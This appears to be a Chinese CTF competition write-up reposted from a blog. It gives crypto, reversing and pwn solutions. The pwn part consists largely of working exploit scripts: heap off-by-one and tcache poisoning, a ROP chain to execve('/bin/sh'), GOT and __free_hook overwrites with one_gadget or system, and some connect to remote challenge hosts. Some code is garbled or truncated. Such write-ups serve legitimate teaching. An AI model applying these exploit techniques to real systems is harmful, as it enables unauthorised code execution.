n = 113793513490894881175568252406666081108916791207947545198428641792768110581083359318482355485724476407204679171578376741972958506284872470096498674038813765700336353715590069074081309886710425934960057225969468061891326946398492194812594219890553185043390915509200930203655022420444027841986189782168065174301
c = 64885875317556090558238994066256805052213864161514435285748891561779867972960805879348109302233463726130814478875296026610171472811894585459078460333131491392347346367422276701128380739598873156279173639691126814411752657279838804780550186863637510445720206103962994087507407296814662270605713097055799853102
e = 65537

tag1 = 1
tag2 = 0
F = open("trace.out","r")
arr = F.readlines()

for i in arr[::-1]:
    if "a = a - b" in i:
        tag1 = tag1 + tag2
#print(tag1)
#print(tag2)
    if "a, b = b, a" in i:
        tag1, tag2 = tag2, tag1
#print(tag1)
#print(tag2)
    if "a = rshift1(a)"in i:
        tag1 = tag1 << 1
#print(tag1)
#print(tag2)
    if "b = rshift1(b)" in i:
        tag2 = tag2 << 1
#print(tag1)
#print(tag2)

phi = tag1
#print(phi)

d = libnum.invmod(e, phi) 
m = pow(c, d, n)
print(long_to_bytes(m))

4.fill

利用lcg的三组连续输出求出参数m和c，从而得到整个序列s，反求出序列M；然后就是一个背包的破解，lll算法求最短向量即可，构造方式参考：https://www.ruanx.net/lattice-2/，exp：

M = [19620578458228, 39616682530092, 3004204909088, 6231457508054, 3702963666023, 48859283851499, 4385984544187, 11027662187202, 18637179189873, 29985033726663, 20689315151593, 20060155940897, 46908062454518, 8848251127828, 28637097081675, 35930247189963, 20695167327567, 36659598017280, 10923228050453, 29810039803392, 4443991557077, 31801732862419, 23368424737916, 15178683835989, 34641771567914, 44824471397533, 31243260877608, 27158599500744, 2219939459559, 20255089091807, 24667494760808, 46915118179747]

S = 492226042629702

n = len(M)

L = matrix.zero(n + 1)

for row, x in enumerate(M):

L[row, row] = 2

L[row, -1] = x

L[-1, :] = 1

L[-1, -1] = S

res = L.LLL()

print(res)

# python

from Crypto.Util.number import *

from hashlib import *

nbits = 32

M = [19621141192340, 39617541681643, 3004946591889, 6231471734951, 3703341368174, 48859912097514, 4386411556216, 11028070476391, 18637548953150, 29985057892414, 20689980879644, 20060557946852, 46908191806199, 8849137870273, 28637782510640, 35930273563752, 20695924342882, 36660291028583, 10923264012354, 29810154308143, 4444597606142, 31802472725414, 23368528779283, 15179021971456, 34642073901253, 44824809996134, 31243873675161, 27159321498211, 2220647072602, 20255746235462, 24667528459211, 46916059974372]

s0,s1,s2 = 562734112,859151551,741682801

n = 991125622

m = (s2-s1)*inverse(s1-s0,n)%n

c = (s1-s0*m)%n

s = [0] * nbits

s[0] = s0

for i in range(1, nbits):

s[i] = (s[i-1]*m+c)%n

print(s)

for t in range(nbits):

M[t] = M[t] - s[t]

print(M)

# 注意是反向量

short = '00101000011000010001000010011011'

short2 = ''

for i in short:

if i == '0':

short2 = short2 + '1'

else:

short2 = short2 +'0'

print(short2)

print(len(short2))

num = int(short2,2)

print(sha256(str(num).encode()).hexdigest())

5.babyDLP

CryptoCTF2022的原题side step，参考春哥的解法：https://zhuanlan.zhihu.com/p/546270351，exp需要修改两个地方，1是if (‘Great!’ in a):需要加上b，其次是a = a[9:]改为a = a[8:] 。然后直接打即可：

from pwn import *

from sage.all import *

from Crypto.Util.number import *

class Gao:

def __init__(self):

self.con = remote('101.201.71.136', 16265)

self.p = 2 ** 1024 - 2 ** 234 - 2 ** 267 - 2 ** 291 - 2 ** 403 - 1

self.s_high = 1

self.Zp = Zmod(self.p)

def gao_check(self):

self.con.sendline('T')

ans = self.Zp(4).nth_root(self.s_high)

print('Guessing: {}'.format(ans))

self.con.sendline(str(ans))

self.con.recvuntil('integer: \n')

a = self.con.recvline()

if (b'Great!' in a):

print(a)

print(ZZ(ans).nbits())

return True

else:

return False

def gao_one(self):

self.con.sendline(b'T')

ans = self.Zp(2).nth_root(self.s_high)

self.con.sendline(str(ans))

self.con.recvuntil(b'integer: \n')

a = self.con.recvline()

if (b'Great!' in a):

print(a)

print(ZZ(ans).nbits())

return True

else:

a = a[8:]

t, r = eval(a)

self.s_high <<= 1

if (t == 0):

self.s_high |= 1

self.t = 1 - t

#print('{:b}'.format(self.s_high))

return False

def gao(self):

while (True):

if (self.gao_one()):

break

if (self.t == 1):

if (self.gao_check()):

break

def gao_2(self):

for i in range(1023):

if (self.gao_one()):

break

else:

for i in range(20):

self.gao_check()

self.s_high >>= 1

if __name__ == '__main__':

g = Gao()

g.gao_2()

Web

FunWEB

ezjava

Rustwaf

pwn

ojs

protocol

queue

unexploitable

sandboxheap

bitheap

leak

Misc

strange_forensics

Rev

roket

crypto

little little fermat

tracing

fill

babyDLP

1.engtom

下载下来,一看,. ???懵逼

有点像脚本语言的字节码..

必应查一下,没出来啥

看导入函数, ,判断是js

js有好多实现,要找找是哪种

结合开头和题目名字里的 ,让我想起了猫和老鼠.

这时候看到一个项目,名字叫 ,背底是奶酪.

又看到里面源码有解析. 文件,基本确定了就是他了

配置好环境后,看 (英语阅读题),看到可以输出 .

输出之,发现的常量以及函数名,所以断定是 .

解密得到结果,用 {}包上就提交了.脚本如下图:

附：

##############################################################################
#                                                                            #
#                            国产SM4加密算法                                  #
#                                                                            #
##############################################################################
##根据网上大神的脚本改的
import binascii
import struct
from gmssl import sm4
def getarr(a):
    ddd=[]
    for i in range(len(a)):
        s=a[i]
        ddd.append(s&0xff)
        s>>=8
        ddd.append(s&0xff)
        s>>=8
        ddd.append(s&0xff)
        s>>=8
        ddd.append(s&0xff)
        ddd[i<<2:(i<<2)+4]=ddd[i<<2:(i<<2)+4][::-1]
    return bytes(ddd)

class SM4:
    """
    国产加密 sm4加解密
    """

    def __init__(self):
        self.crypt_sm4 = sm4.CryptSM4()  # 实例化

    def decryptSM4(self, decrypt_key, encrypt_value):
        """
        国密sm4解密
        :param decrypt_key:sm4加密key
        :param encrypt_value: 待解密的十六进制值
        :return: 原字符串
        """
        crypt_sm4 = self.crypt_sm4
        crypt_sm4.set_key(decrypt_key, sm4.SM4_DECRYPT)  # 设置密钥
        decrypt_value = crypt_sm4.crypt_ecb(encrypt_value)  # 开始解密。十六进制类型
        return decrypt_value
        # return self.str_to_hexStr(decrypt_value.hex())

if __name__ == '__main__':
    key = getarr([19088743,2309737967,4275878552,1985229328])
    strData = getarr([1605062385,-642825121,2061445208,1405610911,1713399267,1396669315,1081797168,605181189,1824766525,1196148725,763423307,1125925868])
    strData=bytes(strData)
    SM4 = SM4()
    decData = SM4.decryptSM4(key, strData)
    print("sm4解密结果：", decData)  # 解密后的数据

2.roket

测试输入数据和输出数据寻找规律发现是输入转ascii码然后三次方得到输出

from Crypto.Util.number import long_to_bytes

import gmpy2

print(gmpy2.iroot(7212272804013543391008421832457418223544765489764042171135982569211377620290274828526744558976950004052088838419495093523281490171119109149692343753662521483209758621522737222024221994157092624427343057143179489608942837157528031299236230089474932932551406181, 3))

#6374667b746831735f69735f7265346c6c795f626561757431666c795f72316768743f7d

a='6374667b746831735f69735f7265346c6c795f626561757431666c795f72316768743f7d'

for i in range(0,len(a),2):

print('0x'+a[i]+a[i+1],end=',')

print('flag:')

#0x63,0x74,0x66,0x7b,0x74,0x68,0x31,0x73,0x5f,0x69,0x73,0x5f,0x72,0x65,0x34,0x6c,0x6c,0x79,0x5f,0x62,0x65,0x61,0x75,0x74,0x31,0x66,0x6c,0x79,0x5f,0x72,0x31,0x67,0x68,0x74,0x3f,0x7d

b=[0x63,0x74,0x66,0x7b,0x74,0x68,0x31,0x73,0x5f,0x69,0x73,0x5f,0x72,0x65,0x34,0x6c,

0x6c,0x79,0x5f,0x62,0x65,0x61,0x75,0x74,0x31,0x66,0x6c,0x79,0x5f,0x72,0x31,0x67,

0x68,0x74,0x3f,0x7d]

for i in range(len(b)):

print(chr(b[i]),end='')

0x04 PWN

1.bitheap

解题思路一个2.27的堆，edit函数存在一个字节的溢出，当输入的字符是“1”的时候，会多输出以为。因为edit的存储，会导致下一个堆块的inuser位置0，典型的offbyone，就是输入时edit会把2进制转成16进制然后按位取反。

from pwn import *
sh=process('./sandboxheap'）
#sh=remote("101.201.71.136 ",30298)
p64 = lambda con: bin(con&0x0000000000ff)[2:].zfill(8)[::-1]+bin(con>>8&0x00000000ff)[2:].zfill(8)[::-1]+bin
elf=ELF(filename)
libc=ELF('libc-2.27.so')
ch="Your choice:"
Size="Size: "
Idx="Index:"
Con="Content:"
def add(idx,size):
    sh.sendlineafter(ch,str(1))
    sh.sendlineafter(Idx,str(idx))
    sh.sendlineafter(Size,str(size))
def edit(idx,con):
    sh.sendlineafter(ch,str(2))
    sh.sendlineafter(Idx,str(idx))
    sh.sendlineafter(Con,con)
def show(idx):
    sh.sendlineafter(ch,str(3))
    sh.sendlineafter(Idx,str(idx))
def delete(idx):
    sh.sendlineafter(ch,str(4))
    sh.sendlineafter(Idx,str(idx))
def edit2(idx,con):
    sh.sendlineafter(ch,str(2))
    sh.sendlineafter(Idx,str(idx))
    sh.sendlineafter(Con,bin(con&0x0000000000ff)[2:].zfill(8)[::-1]+bin(con>>8&0x00000000ff)[2:].zfill(8)[::-1]+bin(con>>16&0x000000ff)[2:].zfill(8)[::-1]+bin((con>>24)&0x0000ff)[2:].zfill(8)[::-1]+bin((con>>32)&0x00ff)[2:].zfill(8)[::-1]+bin((con>>40)&0xff)[2:].zfill(8)[::-1])for i in range(0x8):
    add(i,0x88)
add(8,0x58)
add(9,0x88)
add(10,0x88)
for i in range(7):
    delete(i)
delete(7)
edit(8,'1'*(0x58*8))
edit(8,'a'*0x58*8)
edit(8,'1'*0x50*8+'a'*4+'1'*4)
delete(9)
for i in range(0x8):
    add(i,0x88)
show(8)
libc_base=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ebca0
success("libc_base = "+hex(libc_base))
add(9,0x68)
delete(10)
for i in range(7):
    delete(i)
for i in range(0x7):
    add(i,0x68)
delete(3)
delete(4)
delete(5)
delete(6)
delete(1)
delete(2)
delete(8)
show(9)
sh.recvuntil("Content: ")
heap_base=u64(sh.recv(6).ljust(8, '\0'))-0x860
success("heap_base = "+hex(heap_base))
free_hook = libc_base + libc.sym['__free_hook']
ret = libc_base + 0x00000000000008aa # ret
pop_rdi_ret = libc_base + 0x000000000002164f# pop rdi ; ret
pop_rsi_ret = libc_base + 0x0000000000023a6a # pop rsi ; ret 
pop_rdx_rsi_ret = libc_base +0x0000000000130539# pop rdx ; pop rsi ; ret
pop_rdx_ret = libc_base + 0x0000000000001b96#
malloc_hook=libc_base+libc.sym["__malloc_hook"]-0x10
realloc=libc_base+libc.symbols['__libc_realloc']
one=libc_base+0x4f302
add(1,0x68)
add(2,0x68)
edit(2,p64(0)+p64(one)+p64(realloc+2))
add(3,0x10)
sh.interactive()

2.unexploitable

第一次返回复写成0x7d1的位置，跳过push rbp，这样调解栈帧可以让下次的ret address成为0x7f开头的libc_start_main+231的位置，之后就是爆破两字节复写one_gadget，使用0xfc结尾的符合shell要求

from pwntools import *


init("./unexploitable")

def pwn():
    s(b"\x00"*0x18 + p8(0xd1) + p8(0x07))
    
    
    s(b"\x00"*0x18 + p8(0xfc) + p8(0x12) + p8(0x34))
    sl("ls")
    tmp = pwnio.io.recv(1,timeout=1)
    print(tmp)
    if not tmp or tmp==b'*':
        raise
    ia()
    
hack(pwn,cls=False)

脸黑，和队友开了两个靶机爆破了两天...队友脸白，穿了

3.ojs

查找关键词可知，这题魔改自项目：https://github.com/ndreynolds/flathead

比对源码可知，新增了方法charTo：

逆一下，str.charTo(offset, val)代表将字符串str偏移offset（可正可负）处改为val。

可越界写的条件是字符串str的长度为3，且当val = 17的时候，会返回存放str自身的堆块地址（结合动态调试）。

由于本题没开PIE保护，且got表可写：

所以其实任意写的思路很显然：先泄露出str自身堆块地址，然后就能用其与某got表地址的差值通过charTo任意写got表了。

泄露libc的思路也不难想到，可以将初始长度为3的str后面的\x00不断覆盖掉，这样就能泄露后面内存中的libc地址了，这里其实也可以泄露出堆块地址。

不过，由于比赛的时候远程环境十分诡异，导致当时配了几个小时环境都没弄出来远程的环境（打通以后才知道原因应该是由于共享库被放在了题目的同一目录下QAQ），后来就干脆采用了无脑爆破的做法。str后面内存区域中libc的位置需要爆破一下，得到是60*8的偏移处，然后得到了libc地址以后，其相对于基地址的偏移也需要爆破一下（这里其实有个技巧，就比如我这里劫持的是printf的got表，那么可能出问题也就是倒数第二、三个字节，先只改倒数第二个字节，其余保持原先的值不变，如果最后能正常输出，则表示倒数第四位的偏移爆破正确了，倒数第三个字节的爆破也同理这么操作）。

此外，这里应该也可以通过改某个got表为[email protected]，然后输入某个got的地址来泄露libc，或者先劫持bss段上的stdin/stdout/stderr指针为某个got表地址，然后比如再改setvbuf的got表为[email protected]，最后劫持执行流到setvbuf来泄露。不过这里貌似不太好泄露完再返回了，但是通过这里泄露的值和上述60*8的位置泄露的libc比对一下就不需要上面的爆破操作了。

最后，选用如下one_gadget即可：

from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug")

io = remote("39.106.13.71", 38641)
libc = ELF("./libc-2.27.so")
elf = ELF("./ojs")

io.sendlineafter("> ", 'a = "win";')
io.sendlineafter("> ", 'x = a.charTo(0, 17);')
io.sendlineafter("> ", 'console.log("xxx" + x.toString() + "xxx");')

io.recvline()
io.recvuntil("xxx")
heap_addr = int(io.recvuntil("xxx").strip(b"xxx"))
success("heap_addr:\t" + hex(heap_addr))

io.sendlineafter("> ", 'for(var i = 3; i < 60*8; i++) a.charTo(i, 97);')
io.sendlineafter("> ", 'console.log(a);')

libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8, b'\x00'))
success("libc_addr:\t" + hex(libc_addr))
libc_base = libc_addr - 0xd22ce8
success("libc_base:\t" + hex(libc_base))

dis = elf.got['printf'] - heap_addr
og = p64(libc_base + 0xe54f7)
for i in range(6) :
	io.sendlineafter("> ", f'a.charTo({dis+i}, {og[i]});')

io.sendlineafter("> ", 'b = [];')
io.sendlineafter("> ", 'b.push("winmt");')
io.interactive()

Google的Protobuf，参考学习连接 https://bbs.pediy.com/thread-270004.htm

发现了栈溢出，protobuf的内容解析后会送到栈里，但是username和password一定要admin

username和password中不能包含"\x00"，所以rop的话，得考虑绕过"\x00"

因为是while 1，所以可以每次输入错误的username和password进行一次写栈，但是注意到不能携带\x00，所以需要从下向上写rop链，protobuf转化的时候会在最后给上一个\x00，这样开源每次从后往前少写一个字节，这样最后一个字节就被覆盖成了\x00

最后倒着写一个execve("/bin/sh\x00",0,0)就可以get shell了

from pwntools import *
from ctf_pb2 import *

init("./protocol")

ret = 0x000000000040101A
pop_rax_ret = 0x00000000005bdb8a
pop_rdi_ret = 0x0000000000404982
pop_rsi_ret = 0x0000000000588BBE
pop_rdx_ret = 0x000000000040454F
pop_rcx_ret = 0x0000000000475DA3
syscall = 0x0000000000403C99
write_addr = 0x5A2E70
read_addr = 0x5A2F10
rw_addr = 0x81A400
bss = 0x81A360



'''
b *0x407743
payload = flat([
    pop_rdi_ret,"/bin/sh\x00",
    pop_rsi_ret, 0,
    pop_rdx_ret, 0,
    pop_rax_ret, 59,
    syscall
])
'''

def write(payload):
    p = pwn()
    p.username = b"admin"
    p.password = payload
    sd = p.SerializeToString()
    sa("Login:", sd)
    time.sleep(0.2)

write(b"b"*0x248 + b"b"*8*8 + p8(0x99) +p8(0x3c)+ p8(0x40))    

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*8-i)) 
write(b"b"*0x248 + b"b"*8*7 + p8(59))                        

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*7-i)) 
write(b"b"*0x248 + b"b"*8*6 + p8(0x8a) +p8(0xdb)+ p8(0x5b))    

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*6-i)) 
write(b"b"*0x248 + b"b"*8*5)                                   

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*5-i)) 
write(b"b"*0x248 + b"b"*8*4 + p8(0xbe) + p8(0x8b) + p8(0x58))  

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*4-i)) 
write(b"b"*0x248 + b"b"*8*3)                                   

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*3-i)) 
write(b"b"*0x248 + b"b"*8*2 + p8(0x4f) + p8(0x45) + p8(0x40))  

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*2-i)) 
write(b"b"*0x248 + b"b"*8*1 + p8(0x6f) + p8(0xa3) + p8(0x81))  

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*1-i)) 
write(b"b"*0x248 + p8(0x82) + p8(0x49) + p8(0x40))   

p = pwn()
p.username = b"admin"
p.password = b"admin"
sd = p.SerializeToString()


sa("Login:", sd + b"\x00" + b"/bin/sh\x00")



ia()

01fcd7e2-39fa-4c23-8e7d-0c609c4b1139

5.queue

队列结构体

struct elem

{

_QWORD buf_array_ptr;

_QWORD sub_buf_max;

_QWORD pBuffStart;

_QWORD a3;

_QWORD pBuffLast;

char **sub_bufs;

_QWORD pBuffEnd;

_QWORD a7;

_QWORD a8;

_QWORD sub_buf_last;

};

666功能可以直接修改结构体

伪造结构体再通过其他功能可以实现任意地址读写

首先需要泄露一个地址

覆盖pBuffStart, 爆破一个十六进制位到有堆地址的地方

泄露堆地址

然后申请几个再free填tcache, 在堆上制造libc地址

构造结构体pBuffStart指向含libc地址处

泄露libc地址

然后伪造结构体在__free_hook处

用程序edit单字节循环写入

exp:

from pwn import *

from colorama import Fore

from colorama import Style

import inspect

from argparse import ArgumentParser

parser = ArgumentParser()

parser.add_argument("--elf", default="./queue")

parser.add_argument("--libc", default="./libc-2.27.so")

parser.add_argument("--arch", default="amd64")

parser.add_argument("--remote")

args = parser.parse_args()

context(arch=args.arch,log_level='debug')

def retrieve_name(var):

callers_local_vars = inspect.currentframe().f_back.f_back.f_locals.items()

return [var_name for var_name, var_val in callers_local_vars if var_val is var]

def logvar(var):

log.debug(f'{Fore.RED}{retrieve_name(var)[0]} : {var:#x}{Style.RESET_ALL}')

return

script = ''

def rbt_bpt(offset):

global script

script += f'b * $rebase({offset:#x})\n'

def bpt(addr):

global script

script += f'b * {addr:#x}\n'

def dbg():

gdb.attach(sh,script)

pause()

prompt = b'Queue Management: '

def cmd(choice):

sh.sendlineafter(prompt,str(choice).encode())

def add(size):

cmd(1)

sh.sendlineafter(b'Size: ',str(size).encode())

return

def edit(buf_id,idx,val):

cmd(2)

sh.sendlineafter(b'Index: ',str(buf_id).encode())

sh.sendlineafter(b'Value idx: ',str(idx).encode())

sh.sendlineafter(b'Value: ',str(val).encode())

return

def show(buf_id,num):

cmd(3)

sh.sendlineafter(b'Index: ',str(buf_id).encode())

sh.sendlineafter(b'Num: ',str(num).encode())

return

def dele():

cmd(4)

return

def backdoor(buf_id,ctt):

cmd(666)

sh.sendlineafter(b'Index: ',str(buf_id).encode())

sh.sendafter(b'Content: ',ctt)

return

def edit_qword(buf_id,off,val):

for i in range(8):

byte = val & 0xff

edit(buf_id,off+i,byte)

val >>= 8

rbt_bpt(0x1688)

rbt_bpt(0x16b5)

def leak_num():

val = 0

sh.recvuntil(b'Content: ')

for i in range(8):

num = int(sh.recvline().strip(),16)

val |= num << (8*i)

return val

def pwn():

add(0x100)

backdoor(0,p64(0)*2 + b'\x88\x5e')

show(0,0x8)

heap_addr = leak_num()

if heap_addr == 0:

raise EOFError

for i in range(5):

add(0x100)

for i in range(4):

dele()

backdoor(0,p64(0)*2 + p64(heap_addr + 0x1a50)*2)

show(0,0x8)

libc_base = leak_num() - 0x3ebca0

logvar(heap_addr)

logvar(libc_base)

edit_qword(1,0,u64(b'/bin/sh\x00'))

libc = ELF(args.libc,checksec=False)

libc.address = libc_base

payload = flat([

libc.sym['__free_hook'],

libc.sym['__free_hook']+0x200,

heap_addr,

libc.sym['__free_hook']+0x200,

heap_addr+8

])

backdoor(0,payload)

edit_qword(0,0,libc.sym['system'])

# dbg()

dele()

while True:

try:

# sh = process([args.elf])

sh = remote('39.106.13.71' ,'31586')

pwn()

sh.interactive()

except EOFError:

sh.close()

6.leak

flag被读到了一个堆块上，限制了申请堆块的个数，只能十六个，没有限制uaf的使用次数，可以改大Global_Max_Fast，造成fastbinY数组溢出，我们可以向write_base和write_ptr上写入堆地址，满足条件:write_ptr>write_base即可，利用公式size=((target_addr-(main_arena+8)/8)0x10+0x20)，就可以算出需要的size，最后exit，打印出flag即可。

from pwn import

io = process("./leak")

elf = ELF("./leak")

libc = ELF("./libc-2.27.so")

context.arch = "amd64"

context.log_level = "debug"

def add(idx,size):

io.sendlineafter("Your choice: ", "1")

io.sendlineafter("Index: ", str(idx))

io.sendlineafter("Size: ", str(size))

def edit(idx, content):

io.sendlineafter("Your choice: ", "2")

io.sendlineafter("Index: ", str(idx))

io.sendafter("Content: ", content)

def delete(idx):

io.sendlineafter("Your choice: ", "3")

io.sendlineafter("Index: ", str(idx))

add(0, 0x14b0)

add(1, 0x14c0)

add(2, 0x430)

add(3, 0x90)

add(4, 0x90)

add(5, 0x90)

add(9, 0xa0)

add(10, 0xa0)

delete(5)

delete(4)

delete(3)

edit(3, p16(0x9c30)) # tcache fd -> unsorted bin chunk

delete(2)

edit(2, p16(0xf940)) # fd -> global_max_fast

add(6, 0x90)

add(7, 0x90)

add(8, 0x90)

edit(8, p64(0xdeadbee0)) # global_max_fast -> 0xdeadbeef

delete(0)

edit(2, p16(0xe840)) # tcache fd -> unsorted chunk

delete(10)

delete(9)

edit(9, p16(0x9c30)) # fd-> stderr

add(11, 0xa0)

add(12, 0xa0)

add(13, 0xa0) # stderr

add(14,0xa0)# change stderr

edit(14, p64(0xfbad1887) + p64(0) * 3 + p8(0x50))

#io.interactive()

#add(14, 0x14d0)

#add(15, 0x500)

delete(1)

io.sendlineafter("Your choice: ", "6")

io.interactive()

:hexoPostRenderEscape–>

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文章来源: https://www.cnblogs.com/backlion/p/16851735.html
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